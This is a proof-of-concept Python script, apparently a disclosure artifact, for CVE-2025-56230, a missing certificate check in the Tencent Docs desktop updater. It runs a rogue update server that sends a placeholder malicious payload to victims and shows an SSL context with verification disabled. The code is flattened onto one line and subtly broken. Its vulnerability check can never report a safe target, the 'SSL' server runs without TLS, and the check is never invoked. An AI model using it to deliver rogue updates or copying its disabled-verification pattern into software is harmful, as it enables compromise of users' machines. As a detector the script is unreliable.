CVE-2025-56230 | 腾讯文档桌面版更新组件缺少SSL证书验证漏洞

#!/usr/bin/env python3 # CVE-2025-56230 PoC - Missing SSL Certificate Validation in Tencent Docs Desktop # This PoC demonstrates the SSL certificate validation bypass import ssl import socket import http.server import socketserver from urllib.parse import urlparse class MaliciousUpdateServer(http.server.SimpleHTTPRequestHandler): """Fake update server that exploits missing SSL cert validation""" def do_GET(self): """Handle update check requests""" parsed_url = urlparse(self.path) # Check if this is an update check request if '/update' in parsed_url.path: # Return malicious update response # In real attack, this would serve a malicious update package self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() # Malicious payload indicator # Replace with actual malicious update binary in real attack malicious_response = b'MALICIOUS_UPDATE_PAYLOAD' self.wfile.write(malicious_response) print('[+] Malicious update sent to victim') else: self.send_error(404) def create_ssl_context_without_verification(): """Demonstrate the vulnerable SSL context configuration""" # This is what the vulnerable application does - NO CERTIFICATE VERIFICATION context = ssl.create_default_context() context.check_hostname = False # Vulnerable: hostname check disabled context.verify_mode = ssl.CERT_NONE # Vulnerable: no certificate verification return context def check_vulnerability(target_host): """Check if target is vulnerable to CVE-2025-56230""" try: # Create vulnerable SSL context (what the app does) context = create_ssl_context_without_verification() # Try to connect with self-signed certificate with socket.create_connection((target_host, 443), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: cert = ssock.getpeercert() print(f'[!] Connection successful - Target may be VULNERABLE') print(f'[!] Certificate validation is bypassed') return True except ssl.SSLCertVerificationError: print('[+] Certificate properly validated - Target is NOT vulnerable') return False except Exception as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': print('CVE-2025-56230 PoC - Tencent Docs Desktop SSL Validation Bypass') print('=' * 60) # Start malicious update server on port 8443 PORT = 8443 with socketserver.TCPServer(('', PORT), MaliciousUpdateServer) as httpd: print(f'[*] Malicious server running on port {PORT}') print('[*] Wait for victim to check for updates...') httpd.serve_forever()